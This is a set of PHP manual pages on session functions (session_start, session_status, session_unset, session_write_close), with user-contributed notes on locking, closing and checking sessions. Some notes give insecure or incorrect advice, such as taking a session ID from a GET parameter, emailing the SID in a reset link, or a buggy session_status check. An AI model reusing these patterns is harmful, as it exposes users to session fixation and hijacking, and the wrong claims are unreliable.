// Example... you start a session based PHP page, which then calls an Ajax (XMLHTTP) authenticated
// using the SAME SESSION to Poll and output the data, for example.  But, you notice when you
// try to start the Polling AJAX call always HANGS and seems to hang at the session_start().
// This is because the session is opened in the first page, calls the AJAX polling example, and
// tries to open the same session (for authentication) and do the AJAX call, you MUST call
// session_write_close(); meaning you are done writing to the $_SESSION variable, which really
// represents a file that must be CLOSED with session_write_close();....
// THAN you can call your AJAX Polling code to reopen the same session and do its polling...
// Normally, the $_SESSION is closed automatically when the script is closed or finished executing
// So, if you need to keep a PHP page running after opening a SESSION, simply close it when finished
// writing to $_SESSION so the AJAX polling page can authenticate and use the same session in a
// seperate web page...

session_write_close();

?>

Hope this helps someone with their sessions...
Thanks.
ohcc at 163 dot com 25-Dec-2013 04:00
The constant SID would always be '' (an empty string) if directive session.use_trans_sid in php ini file is set to 0.

So remember to set session.use_trans_sid to 1 and restart your server before you use SID in your php script.
ilnomedellaccount at gmail dot com 13-Aug-2013 03:53
A note about session_start(), custom handlers and database foreign key constraints, which I think may be of some use...

We know that if we want our sessions into a database table (rather than the default storage), we can refer to session_set_save_handler(...) to get them there. Note that session_set_save_handler must (obviously) be called before session_start(), but let me get to the point...

Upon calling session_start() the "first time", when the session does not already exist, php will spawn a new session but will not call the write handler until script execution finishes.

Thus, the session at this point exists in the server process memory, but won't be visible as a row in the DB before the script ends.

This seems reasonable, because this avoids some unnecessary database access and resource usage before we even populate our session with meaningfull and definitive data, but this also has side-effects.

In my case, the script called session_start() to make sure a session was initiated, then used session_id() to populate another table in the DB, which had foreign_key constraint to the "sessions" table. This failed because no session was in the db at that point, yet!

I know I could simply force the creation of the row in the DB by manually calling the write handler after session_start(), when necessary, but I am not sure if this is the best possible approach.

As soon as I find an "elegant" solution, or a completely different approach, I will post some working sample code.

In the meanwhile... have fun!
someOne_01 at somewhere dot com 17-Nov-2012 02:30
When you have an import script that takes long to execute, the browser seem to lock up and you cannot access the website anymore. this is because a request is reading and locking the session file to prevent corruption.

you can either
- use a different session handler with session_set_save_handler()
- use session_write_close() in the import script as soon you don't need session anymore (best moment is just before the long during part takes place), you can session_start when ever you want and as many times you like if your import script requires session variables changed.

example
<?php
session_start(); //initiate / open session
$_SESSION['count'] = 0; // store something in the session
session_write_close(); //now close it,
# from here every other script can be run (and makes it seem like multitasking)
for($i=0; $i<=100; $i++){ //do 100 cycles
    session_start(); //open the session again for editing a variable
    $_SESSION['count'] += 1; //change variable
    session_write_close(); //now close the session again!
    sleep(2); //every cycle sleep two seconds, or do a heavy task
}
?>
sanjuro at 1up-games dot com 18-Aug-2011 11:56
The problem with SID is that if on occasions you don't start a session, instead of outputting an empty string for transparent integration it will return the regular undefined constant notice. So you might want to test the constant with defined() beforehand.
linblow at hotmail dot fr 16-Feb-2011 05:06
If you want to handle sessions with a class, I wrote this little class:

<?php

/*
    Use the static method getInstance to get the object.
*/

class Session
{
    const SESSION_STARTED = TRUE;
    const SESSION_NOT_STARTED = FALSE;

    // The state of the session
    private $sessionState = self::SESSION_NOT_STARTED;

    // THE only instance of the class
    private static $instance;

    private function __construct() {}

    /**
    *    Returns THE instance of 'Session'.
    *    The session is automatically initialized if it wasn't.
    *
    *    @return    object
    **/

    public static function getInstance()
    {
        if ( !isset(self::$instance))
        {
            self::$instance = new self;
        }

        self::$instance->startSession();

        return self::$instance;
    }

    /**
    *    (Re)starts the session.
    *
    *    @return    bool    TRUE if the session has been initialized, else FALSE.
    **/

    public function startSession()
    {
        if ( $this->sessionState == self::SESSION_NOT_STARTED )
        {
            $this->sessionState = session_start();
        }

        return $this->sessionState;
    }

    /**
    *    Stores datas in the session.
    *    Example: $instance->foo = 'bar';
    *
    *    @param    name    Name of the datas.
    *    @param    value    Your datas.
    *    @return    void
    **/

    public function __set( $name , $value )
    {
        $_SESSION[$name] = $value;
    }

    /**
    *    Gets datas from the session.
    *    Example: echo $instance->foo;
    *
    *    @param    name    Name of the datas to get.
    *    @return    mixed    Datas stored in session.
    **/

    public function __get( $name )
    {
        if ( isset($_SESSION[$name]))
        {
            return $_SESSION[$name];
        }
    }

    public function __isset( $name )
    {
        return isset($_SESSION[$name]);
    }

    public function __unset( $name )
    {
        unset( $_SESSION[$name] );
    }

    /**
    *    Destroys the current session.
    *
    *    @return    bool    TRUE is session has been deleted, else FALSE.
    **/

    public function destroy()
    {
        if ( $this->sessionState == self::SESSION_STARTED )
        {
            $this->sessionState = !session_destroy();
            unset( $_SESSION );

            return !$this->sessionState;
        }

        return FALSE;
    }
}

/*
    Examples:
*/

// We get the instance
$data = Session::getInstance();

// Let's store datas in the session
$data->nickname = 'Someone';
$data->age = 18;

// Let's display datas
printf( '<p>My name is %s and I\'m %d years old.</p>' , $data->nickname , $data->age );

/*
    It will display:

    Array
    (
        [nickname] => Someone
        [age] => 18
    )
*/

printf( '<pre>%s</pre>' , print_r( $_SESSION , TRUE ));

// TRUE
var_dump( isset( $data->nickname ));

// We destroy the session
$data->destroy();

// FALSE
var_dump( isset( $data->nickname ));

?>

I prefer using this class instead of using directly the array $_SESSION.
anon at ymous dot com 04-Feb-2011 01:51
I am trying to get a session created by a browser call to be used by a command line cli->curl php call (in this case, both calls to the same server and php.ini), for a set of flexible media import routines,

but the cli->curl call always starts a new session despite me putting PHPSESSID=validID as the first parameter for the url called by curl.

I was able to fix it by calling session_id($_GET['PHPSESSID']) before calling session_start() in the script called via curl.
dave1010 at gmail dot com 17-Dec-2010 01:35
PHP locks the session file until it is closed. If you have 2 scripts using the same session (i.e. from the same user) then the 2nd script will not finish its call to session_start() until the first script finishes execution.

If you have scripts that run for more than a second and users may be making more than 1 request at a time then it is worth calling session_write_close() as soon as you've finished writing session data.

<?php
// a lock is places on the session, so other scripts will have to wait
session_start();

// do all your writing to $_SESSION
$_SESSION['a'] = 1;

// $_SESSION can still be read, but writing will not update the session.
// the lock is removed and other scripts can now read the session
session_write_close();

do_something_slow();
?>

Found this out from http://konrness.com/php5/how-to-prevent-blocking-php-requests/
info.at.merchandisinginteractive.sk 01-Mar-2010 06:46
A handy script that checks fot the presence of uft-8 byte order mark (BOM) in all files in all directories starting on current dir. Combined from the work of other people here...

<?php
function fopen_utf8 ($filename) {
    $file = @fopen($filename, "r");
    $bom = fread($file, 3);
    if ($bom != b"\xEF\xBB\xBF")
    {
        return false;
    }
    else
    {
        return true;
    }
}

function file_array($path, $exclude = ".|..|design", $recursive = true) {
    $path = rtrim($path, "/") . "/";
    $folder_handle = opendir($path);
    $exclude_array = explode("|", $exclude);
    $result = array();
    while(false !== ($filename = readdir($folder_handle))) {
        if(!in_array(strtolower($filename), $exclude_array)) {
            if(is_dir($path . $filename . "/")) {
                                // Need to include full "path" or it's an infinite loop
                if($recursive) $result[] = file_array($path . $filename . "/", $exclude, true);
            } else {
                if ( fopen_utf8($path . $filename) )
                {
                    //$result[] = $filename;
                    echo ($path . $filename . "<br>");
                }
            }
        }
    }
    return $result;
}

$files = file_array(".");
?>
info at nospam dot mmfilm dot sk 29-Dec-2009 07:58
For those of you running in problems with UTF-8 encoded files:

I was getting an error because of the BOM, although i set Dreamweaver to "save as" the without the BOM. It appears that DW will not change this setting in already existing files. After creating a new file withou the BOM, everything worked well.

I also recommend http://people.w3.org/rishida/utils/bomtester/index.php - a utility that remote checks for the presence of BOM.
jamestrowbridge at gmail dot com 29-Dec-2009 09:57
Unfortunately, after pulling my hair out trying to figure out why my application was working fine in every browser other than IE ( Internet Explorer) (Opera, Chrome, Firefox, Safari are what I've tested this in) - when using a DNS CNAME record (like a vanity name that is different from the DNS A record, which is the hostname of the server) sessions do not work correctly.

If you store a session var while on the CNAME:
vanity.example.com and the hostname of the server is hosname.example.com
Then try to call the variable from a different page, it will not find it because of the CNAME (I guess it store the variable under the hostname, then when trying to read it it's still looking under the CNAME) the same application works fine when accessing it under the hostname directly.  Keep in mind that I was testing this on an internal network.
Charlie at NOSPAM dot example dot com 22-Sep-2009 07:04
Be warned that depending on end of script to close the session will effectively serialize concurrent session requests.   Concurrent background "data retrieval" (e.g. applications such as AJAX or amfphp/Flex) expecting to retrieve data in parallel can fall into this trap easily.

Holding the session_write_close until after an expensive operation is likewise problematic.

To minimize effects, call session_write_close (aka session_commit) as early as practical (e.g. without introducing race conditions) or otherwise avoid the serialization bottleneck.
schlang 26-Jul-2009 10:44
if you store your sessions in a database, always ensure that the type of the database column is large enough for your session values
emre@yazici 23-Jul-2009 02:46
PHP Manual specifically denotes this common mistake:

Depending on the session handler, not all characters are allowed within the session id. For example, the file session handler only allows characters in the range a-z A-Z 0-9 , (comma) and - (minus)!

See session_id() manual page for more details.
dstuff at brainsware dot org 21-Jul-2009 05:53
It seems like spaces in the name don't work either - got a new session id generated each time
andy_isherwood at hotmail dot com 18-Nov-2008 06:54
A session created with session_start will only be available to pages within the directory tree of the page that first created it.

i.e. If the page that first creates the session is /dir1/dir2/index.php and the user then goes to any page above dir2 (e.g. /dir1/index.php), session_start will create a new session rather than use the existing one.
jphansen at uga dot edu 25-Feb-2008 11:12
I just wrote that session_start() will erase your querystring variable(s) once called. I want to clarify that it will only do this if a variable by the same subscript is defined in $_SESSION[].
leandroico---at---gmail---dot---com 17-Mar-2007 04:21
TAGS: session_start headers output errors include_once require_once php tag new line

Errors with output headers related to *session_start()* being called inside include files.

If you are starting your session inside an include file you must be aware of the presence of undesired characters after php end tag.

Let's take an example:
> page.php
<?php
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';

echo "Damn! Why I'm having these output header errors?";
?>

> i_have_php_end_tag.inc.php
<?php
$_JUST_A_GLOBAL_VAR = 'Yes, a global var, indeed';
?>

> init_session.inc.php
<?php
session_start();
$_SESSION['blabla'] = 123;
?>

With all this stuff we will get an error, something like:
"... Cannot send session cache limiter - headers already sent (output started at ...", right?

To solve this problem we have to ignore all output sent by include files. To ensure that we need to use the couple of functions: *ob_start()* and *ob_end_clean()* to suppress the output. So, all we have to do is changing the *page.php* to this:

<?php
ob_start();
include_once 'i_have_php_end_tag.inc.php';
include_once 'init_session.inc.php';
ob_end_clean();

echo "Woo hoo! All right! Die you undesired outputs!!!";
?>
ben dot morin at spaboom dot com 29-Sep-2006 09:49
James at skinsupport dot com raises a good point (warning) about additional requests from the browser.  The request for favicon.ico, depending on how it is handled, can have unintended results on your sessions.

For example, suppose you have ErrorDocument 404 /signin.php, no favicon.ico file and all pages in your site where the user signs in are also redirected to /signin.php if they're not already signed in.

If signin.php does any clean up or reassigning of session_id (as all good signin.php pages should) then the additional request from the browser for favicon.ico could potentially corrupt the session as set by the actual request.

Kudos to James for pointing it out and shame on me for skimming past it and not seeing how it applied to my problem.  Thanks too to the Firefox Live HTTP Headers extension for showing the additional request.

Don't waste days or even hours on this if your session cookies are not being sent or if the session data isn't what you expect it to be.  At a minimum, eliminate this case and see if any additional requests could be at fault.
James 13-Jul-2006 04:22
To avoid the notice commited by PHP since 4.3.3 when you start a session twice, check session_id() first:

if (session_id() == "")
  session_start();
james at skinsupport dot com 22-Dec-2005 06:17
One thing of note that caused me three days of trouble:

It's important to note that Firefox (for one) makes two calls to the server automatically.  One for the page, and one for favicon.ico.

If you are setting session variables (as I was) to certain values when a page exists, and other values when pages don't exist, the values for non-existent pages will overwrite the values for existing pages if favicon.ico doesn't exist.

I doubt many of you are doing this, but if you are, this is a consideration you need to address or you'll be bald over the course of a three day period!
erm[at]the[dash]erm[dot]com 27-May-2005 01:04
If you are insane like me, and want to start a session from the cli so other scripts can access the same information.

I don't know how reliable this is.  The most obvious use I can see is setting pids.

// temp.php

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

if ($_SESSION) {
    print_r ($_SESSION);
}

$_SESSION['test'] = "this is a test if sessions are usable inside scripts";

?>

// Temp 2

#!/usr/bin/php -q
<?php

session_id ("temp");
session_start();

    print_r ($_SESSION);

?>
jorrizza at gmail dot com 02-Apr-2005 05:33
If you open a popup window (please no commercial ones!) with javascript window.open it might happen IE blocks the session cookie.
A simple fix for that is opening the new window with the session ID in a GET value. Note I don't use SID for this, because it will not allways be available.

----page.php----
//you must have a session active here
window.open('popup.php?sid=<?php echo session_id(); ?>', '700x500', 'toolbar=no, status=no, scrollbars=yes, location=no, menubar=no, directories=no, width=700, height=500');

----popup.php----
<?php
session_id(strip_tags($_GET['sid']));
session_start();
//and go on with your session vars
?>
hbertini at sapo dot pt 13-Mar-2005 12:29
workaround when using session variables in a .php file referred by a frame (.html, or other file type) at a different server than the one serving the .php:

Under these conditions IE6 or later silently refuses the session cookie that is attempted to create (either implicitly or explicitly by invoquing session_start()).

As a consequence, your session variable will return an empty value.

According to MS kb, the workaround is to add a header that says your remote .php page will not abuse from the fact that permission has been granted.

Place this header on the .php file that will create/update the session variables you want:

<?php header('P3P: CP="CAO PSA OUR"'); ?>

Regards,
Hugo
m dot kuiphuis at hccnet dot nl 24-Jun-2003 03:37
[Editors Note: For more information about this
http://www.zvon.org/tmRFC/RFC882/Output/chapter5.html ]

I use name-based virtual hosting on Linux with Apache and PHP 4.3.2.
Every time when I refreshed (by pressing F5 in Internet Explorer) I noticed that I got a new session_id. Simultaneously browsing the same site with Netscape didn't give me that problem. First I thought this was some PHP issue (before I tested it with Netscape), but after searching a lot on the internet I found the problem.
Since I was using name based virtual hosting for my testserver and we have different webshops for different customers I used the syntax webshop_customername.servername.nl as the domain-name.
The _ in the domain name seemed to be the problem. Internet Explorer just denies setting the cookie on the client when there is a special character (like an _ ) in the domain name. For more information regarding this issue: http://support.microsoft.com/default.aspx?scid=kb;EN-US;316112
Stupidly enough, this information was related to asp (yuk :o)


Возвращает состояние текущей сессии

  • « session_start
  • session_unset »
  • PHP Manual
  • Функции для работы с сессиями
  • Возвращает состояние текущей сессии

session_status

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

session_status — Возвращает состояние текущей сессии

Описание

session_status(): int

Функция session_status() возвращает состояние текущей сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

  • PHP_SESSION_DISABLED, если механизм сессий отключён.
  • PHP_SESSION_NONE, если механизм сессий включён, но сессия не создана.
  • PHP_SESSION_ACTIVE, если механизм сессий включён и сессия создана.

Смотрите также

  • session_start() - Стартует новую сессию, либо возобновляет существующую

User Contributed Notes

polygon dot co dot in at gmail dot com 08-Oct-2021 08:53
Note session_status() is for file based session only.

DB based session status needs to have custom function based on table structure.
info at eurocron dot de 06-Dec-2018 04:47
Use always session_status(), to check if a session is already started and active.
if(session_status() !== PHP_SESSION_ACTIVE) session_start();
or
if(session_status() === PHP_SESSION_NONE) session_start();

Don't use
if(!isset($_SESSION)) session_start();
or
if(session_id() === "") session_start();

They will not work properly after a call to session_write_close().
Both functions will continue to report, that the session exists.
And this is right, you can read from $_SESSION, but if you want to write,
you need session_start() again.

As a shorthand you can use
@session_start()
with the @ at the beginning to suppress the
PHP notice "A session had already been started - ignoring session_start()"

As stated in the manual for session_start(), a second call will do no harm,
it will be simply ignored. But you need the @, if you don't want to get the notice.
solaimanshah059 at gmail dot com 18-Aug-2018 09:10
Here some Good example for your understandingl

<?php

if( session_status == PHP_SESSION_NONE ) // if session status is none then start the session
{
     session_start();
}

?>

old Practice we were using.

<?php

if( !( isset($_SESSION) ) ) // if the session is no  set then start to
 new session
{
     session_start();
}

?>
ayon at hyurl dot com 09-Oct-2016 05:17
This is how the session_status() works:
<?php
function session_status(){
    if(!extension_loaded('session')){
        return 0;
    }elseif(!file_exists(session_save_path().'/sess_'.session_id()){
        return 1;
    }else{
        return 2;
    }
}
?>
Ben (aocool at msn d0t com) 16-Feb-2016 08:46
Just another function to determine whether the session has already started:

function is_session_started () {
    return function_exists ( 'session_status' ) ? ( PHP_SESSION_ACTIVE == session_status () ) : ( ! empty ( session_id () ) );
}
sasi dot viragelet at gmail dot co 01-Feb-2015 10:45
Maybe depending on PHP settings, but if return values are not the above, then go for this:
_DISABLED = 0
_NONE = 1
_ACTIVE = 2
Ollea 29-Jan-2014 11:02
If you started and closed a session then test ( session_id() === '' ) to check if a session is active it won't work, session_id() returns an ID even if the session is closed.

Anybody knows another way before PHP 5.4 to check if a session is really not currently active ?
coder dot ua at gmail dot com 15-Oct-2013 02:13
Universal function for checking session status.

<?php
/**
 * @return bool
 */
function is_session_started()
{
    if ( php_sapi_name() !== 'cli' ) {
        if ( version_compare(phpversion(), '5.4.0', '>=') ) {
            return session_status() === PHP_SESSION_ACTIVE ? TRUE : FALSE;
        } else {
            return session_id() === '' ? FALSE : TRUE;
        }
    }
    return FALSE;
}

// Example
if ( is_session_started() === FALSE ) session_start();
?>
php at kenman dot net 02-Aug-2013 03:45
The purpose of this functionality can aid you specifically in cases where code -- prior to your current code -- might have opened a session and then closed it.

Specifically, depending on $_SESSION, session_id(), and the SID constant to determine if a session is active will FAIL if a session has previously been opened & closed within the same request cycle.

Please see the original bug report here:

https://bugs.php.net/bug.php?id=52982
php at pointpro dot nl 16-Apr-2013 07:06
The advice of ive_insomnia at live dot com should be taken with great care.

First of all, while his use case for session_status is valid, a simpler way to avoid the warning is:

<?php
if (!isset($_SESSION)) { session_start(); }
?>

The example of session_status uses the raw values of constants (2 in this case) created specifically for the purpose of not having to use magic numbers.

Better code would be:

<?php
if (session_status() !== PHP_SESSION_ACTIVE) {session_start();}
?>

The same can be done using

<?
if (session_id() === "") { session_start(); }
?>

The use of this function is lies more towards status management: change the behavior of a script when sessions are disabled altogether, for example.


Удалить все переменные сессии

  • « session_status
  • session_write_close »
  • PHP Manual
  • Функции для работы с сессиями
  • Удалить все переменные сессии

session_unset

(PHP 4, PHP 5, PHP 7, PHP 8)

session_unset — Удалить все переменные сессии

Описание

session_unset(): bool

Функция session_unset() удаляет все зарегистрированные переменные текущей сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
7.2.0 | Теперь возвращаемый тип этой функции bool. Раньше был тип void.

Примечания

Замечание:

При использовании $_SESSION для удаления переменных сессии, то используйте функцию unset(). Например, unset($_SESSION['varname']);.

Предостережение

НЕ удаляйте весь массив $_SESSION с помощью unset($_SESSION), так как это приведёт к невозможности регистрации новых переменных через суперглобальный массив $_SESSION

Замечание:

Использование функции session_unset() идентично $_SESSION = [].

Предостережение

Функция работает только в том случае, если сессия активна. Она не очистит массив $_SESSION, если сессия ещё не запущена или уже уничтожена. Используйте $_SESSION = [] для удаления всех переменных сессии, даже если сессия не активна.

User Contributed Notes

jerry 29-Oct-2015 12:37
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the session for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists. session_unset just remove all session variables. it does not destroy the session....so the session would still be active.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser. session_destroy is destroy the session. session_destroy() to kill all session information.....This is the more secure function to use.
tim at leethost dot com 05-Jan-2012 03:50
I was having a problem clearing all session variables, deleting the session, and creating a new session without leaving old session stuff behind in all browsers.  The below code is perfect for a logout script to totally delete everything and start new.  It even works in Chrome which seems to not work as other browsers when trying do logout and start a new session.

<?php
    session_start();
    session_unset();
    session_destroy();
    session_write_close();
    setcookie(session_name(),'',0,'/');
    session_regenerate_id(true);
?>
zach at zkwarta dot com 13-Jul-2005 03:32
The difference between both session_unset and session_destroy is as follows:

session_unset just clears out the sesison for usage. The session is still on the users computer. Note that by using session_unset, the variable still exists.

Using session_unset in tandem with session_destroy however, is a much more effective means of actually clearing out data. As stated in the example above, this works very well, cross browser:

session_unset();
session_destroy();

I noticed that in firefox, one could simply use sesison_unset and the session would be cleared. When trying this on IE, I was horrified to find out that the data was still there, so I had to use session destroy.
Jeroen 15-Jan-2005 01:42
note to Jason: I don't know the exact mechanics of it (since I'm quite new to sessions) but I think you need to use session_unset() BEFORE you can use session_destroy() at all.  I thought that session_unset() was for scripted variables, and session_destroy() just for anything saved on your side regarding the session.


Записывает данные сессии и завершает её

  • « session_unset
  • SessionHandler »
  • PHP Manual
  • Функции для работы с сессиями
  • Записывает данные сессии и завершает её

session_write_close

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

session_write_close — Записывает данные сессии и завершает её

Описание

session_write_close(): bool

Завершает текущую сессию и сохраняет её данные.

Данные сессии обычно сохраняются после завершения выполнения скрипта без необходимости вызова session_write_close(). Поскольку данные сессии заблокированы для предотвращения одновременной конкурирующей записи, только один скрипт может работать с сессией в любой момент времени. Из-за этой блокировки, при использовании фреймов вместе с сессиями, фреймы будут загружаться по очереди один за одним. Можно уменьшить время загрузки всех фреймов путём завершения сессии сразу, как только будут выполнены все необходимые изменения переменных сессии.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false, если возникла ошибка.

Список изменений

Версия | Описание
7.2.0 | Теперь возвращаемый тип этой функции bool. Раньше был тип void.

Смотрите также

  • session_register_shutdown() - Функция завершения сессии

User Contributed Notes

atesin > gmail 29-Jul-2020 12:03
i had trouble with 2 concurrent scripts, a login form with a php generated captcha... the latter truncated the session (session file length 0) so the login always failed due token or captcha error... i thought that was a session blocking problem, but was not

  <?php // pseudo code

  @session_start();
  $_SESSION['token'] = $token = random_string();
  session_write_close();

  ?><pseudo html>
  <form>
    <hidden $token/>
    Name : <input name/>
    Pass : <input pass/>
    Captcha <img captcha.php/> : <input captcha/>
    <submit/>
  </form>
  </html>

  <?php // captcha.php pseudo code

  $code = random_string();
  if ( request_valid() )
  {
    @session_start();
    $_SESSION['captcha|'.$HTTP_REFERER] = $code;
    session_write_close();
  }
  $img = text_to_img($code);
  send_img($img);

  ?>

i choose pipeline as separator in line $_SESSION['captcha|'.$HTTP_REFERER] = $code; because being forbidden in urls "<>[\]^`{|}space

but seems pipeline produced serialization errors on session file, so changing to another inocuous character (underscode in my case) solved the problem... try to avoid reserved serialization characters |:{}";
luiscardoso at cardosotech dot com 18-Mar-2018 02:04
When the server receives multiple requests the change made by the 2nd request on the session variable (while the 1st request is sleeping) won't be available to the 1st request after it has applied session_write_close()

<?php

session_start();

// each request sends its own value
$sign = filter_input(INPUT_GET, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

// each request will show a different value, even though $_SESSION['sign'] was changed by the 2nd request before 1st request has reached this line
echo $_SESSION['sign'];

?>

Solution, session_start() before echo

<?php

session_start();
// each request sends its own value
$sign = filter_input(INPUT_POST, 'sign', FILTER_SANITIZE_STRING);

$_SESSION['sign'] = $sign;

session_write_close();

// During the sleep period of 1st request, a 2nd request arrives with a different value of $sign
sleep(3);

/** this will solve the problem **/
session_start();

// now both requests show the same value, which is the latest value, changed by the 2nd request
echo $_SESSION['sign'];

// you might apply session_write_close(), if you plan to write more code hereafter

?>
jcastromail at yahoo dot es 17-Dec-2017 12:26
Why this function is highly important?  I explain.

In a nutshell, how session works:
Client side: php is sending back to the client, a cookie with the id of the session. So, the session ends when the server ends to process the script and not when session_write_close() is executed. So, using session_write_close() for fast saving the session in the client side is useless unless you are ob_flush() and flush() to the customer.

Server side: It could be changed but the normal behavior is to save the session information in a file.  For example:

sess_b2dbfc9ddd789d66da84bf57a62e2000  file

**This file is usually locked**, so if two sessions are trying open at the same time, then one is freezed until the file is unlocked. session_write_close() ends the lock.

For example:
<?php
$t1=microtime(true);
session_start();
sleep(3);
session_write_close();
$t2=microtime(true);
echo $t2-$t1;
?>

If we run this code in two processes (using the same session, such as two tabs), then one will return 3 seconds while the other will return 6 seconds.

Its caused because the first process lock the session file.

However, changing to:
<?php
$t1=microtime(true);
session_start();
session_write_close();
sleep(3);
$t2=microtime(true);
echo $t2-$t1;
?>
both files runs at 3 seconds.

For PHP 7.0 and higher, we could use session_start(true); for auto close after the first read.

This operation is highly important for AJAX when we used to do many operations in parallel by using the the same session
twicejr 21-Sep-2017 07:31
You can easily make a cool chatbox without using frames and subdomains in combination with SSE (server side events), using for example a 'while(true){sleep($x)}' loop..

Using session_write_close() prevents the session being locked (because the request 'never' ends (maybe after a minute or two.. but otherwise the page would hang).

So you can make a chatbox without shell access on shared hosting, you just need to make a 'output all clients the new messages' function for the SSE stream and code a few lines of javascript. Read up on SSE.

Obviously need a good caching or fast database with a lot of clients, because everyone will spawn a new stream connection. (in contrast to push mechanisms which will require at least a cron job on shared hosting).

Cheap chatbox.
sascha at archinform dot de 11-Jan-2017 04:00
If You apply session_write_close() to allow concurrent requests from a client (for example simultaneous AJAX calls) this may not resolve the problem, if You have enabled output buffering (default in PHP 7+). You have to set output_buffering = Off in php.ini, otherwise session won't be closed immediately.
atul at jreply dot com 12-Jul-2013 07:45
An easy gotcha here - the $_SESSIONS superglobal does not vanish because you call session_write_close.  If subsequent to the write_close call if you manipulate the superglobal the changes will not be saved when the script exists.  Likewise a call to session_regenrate_id will fail.

Closing the session and then manipulating session variables is not something many would do by intent.  However, if your sessions suddenly start misbehaving, failing to record changes etc it is well worth checking that the cause is not this one!
bernard dot savonet+ at gmail dot com 15-Mar-2012 09:46
Beware of session_write_close when calling PHP scripts from an Ajax page: this does not "finalize" the session data writing, but in fact it resets it!
sss at activators dot info 06-Oct-2011 01:55
i have been using a mysql database custom session handler (not using cookies) and was having problems getting the session data to be saved consistantly on my database driven website

clients also have to navigate across domains for website management at times so i have some special code to make all this happen relatively seamlessly and to ensure that each person's data is secure.

i added session_write_close() at the very end of the last script that set session data and solved the problem.

i am not sure why, but it seems the calls to write and close were not always being made (i was not smart enough to figure it out)

now that the session_write_close() call is being made, my problems seemed to have disappeared - hopefully for good.

hope this helps someone.
joadha at gmail dot com 10-Mar-2011 10:23
Remember: objects with private and/or protected data members cannot be serialized properly by PHP. If you ever find that you are missing some objects from your $_SESSION, make sure you are accounting for this shortcoming in your application.
Anonymous 25-Mar-2010 11:44
You can have interesting fun debugging anything with sleep() in it if you have a session still active.  For example, a page that makes an ajax request, where the ajax request polls a server-side event (and may not return immediately).

If the ajax function doesn't do session_write_close(), then your outer page will appear to hang, and opening other pages in new tabs will also stall.
prophp at gmail dot com 26-Nov-2009 06:21
Beware, if you overwrite the default PHP Session handling and use debugging code inside the write() function, the debugging code is not executed until you run session_write_close().

I tried everything, file logging directly from the write() function, global debugging variable increments, static class properties. The only things written were the session open() and read() calls. My debugging code looks like this:
<?php
$Session = new Session();
...
class Session() {
    public function write($id)
        $sql = "UPDATE ... WHERE id=". mysql_real_escape_string($id);
        self::$debug_Info .= "session_write sql=$sql";
    ...
}

# then at the very end of the script:
# session debugging
session_write_close();
error_log($Session->getDebugInfo(), 3, 'logs/sessions.log');
?>

where getDebugInfo simply returns self::$debug_Info. Without session_write_close() the sessions.log would only contain the open() and read() calls.

Maybe intuitive to many, it took days to realize. hope it helps!
web at murray-mint dot co dot uk 11-Sep-2009 05:36
If you're saving data to a session but finding it's not actually being saved, check and ensure that you're not assigning any arrays with a key containing the pipe character (|). This will prevent the session data from being serialized and saved.
martyrs_cry at hotmail dot com 14-May-2009 01:06
Using a SQL Server database and Windows Server 2003, if you use session_write_close() prior to a header() call, and it still appears to freeze up your session, check to make sure that you are not in the middle of a transaction.

I noticed that by starting a transaction, executing some queries, attempting to write close the session and then redirecting without rolling back or committing that transaction, your session may freeze up. Just like what you may experience if you attempt to redirect with header() without first calling session_write_close().
noel 03-Nov-2008 09:29
I was having the same problem as many here regarding setting session data just before a header location redirect and having the session data just not be there.  I tried everything people here said, and none of their combinations worked.  What did finally work for me was to fire off a session_regenerate_id(true) call just prior to the header() and die() calls.

session_regenerate_id(true);
header('location: blah blah');
die();

Without the regenerate id call, the write close did not seem to do anything.  session_write_close() doesn't seem to matter at all.  It certainly didn't fix anything on its own for me.

This is a rather annoying issue with php sessions that I've never run into before.  I store my sessions to /dev/shm (which is RAM) so file IO blocking can't be the problem.  Now I'm nervous that some other session data might not be getting updated prior to a header() location change, which is extremely important and common in any web app.
ivan at alexandrov dot biz 29-Sep-2008 07:14
I had a problem with realizing the restore password form. First a user entered his login or e-mail in the system.

Then the script searched the database, got the session data, and sended link with SID to registered e-mail. The link was configured so, that it restored session data and logged user in the secure interface to the change password form.

Then was displayed a page with the message about sended message.

The problem was that ID was not unique in three pages, the SID sended to e-mail anyone could see in cookie.

I tryed to start new session before generating and after sending link with the code:

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
$_SESSION = $user_login;
$_SESSION = $user_id;
/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING A NEW SESSION*/
session_start();
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

The trouble was that SID was the same even after session_unlink() and session_write_close(). The session_start() function just restored the previous session data!!! So the script was not safe.
Then I added session_regenerate_id() call after each session_start().

<?php ....
session_start();
/*Getting user login and e-mail from database*/
$user_login = "....";
$user_id = "....."

/*CLOSE PREVIOUS SESSION*/
session_unlink();
session_destroy();

/*NOW GENERATING LINK FOR SESSION DATA */
session_start();
session_regenerate_id();//Regenerating SID for sending

$_SESSION = $user_login;
$_SESSION = $user_id;

/*here generating link:*/
$link = "http://host.com/restore=" . SID . "";
mail (....);

/*CLOSE THE SESSION WITH USER DATA*/
session_write_close();

/*AND STARTING ANOTHER NEW SESSION*/
session_start();
session_regenerate_id(); //Regenerating SID
/*THEN LOAD THE 'MESSAGE SENDED' PAGE*/
header("Location: /restore/message_sended/");

?>

 And now it works as needed! The SID sending to user we cannot see in cookies nor before neither after generated link, but the data is saved in session with this id. So only the owner of account can get it!
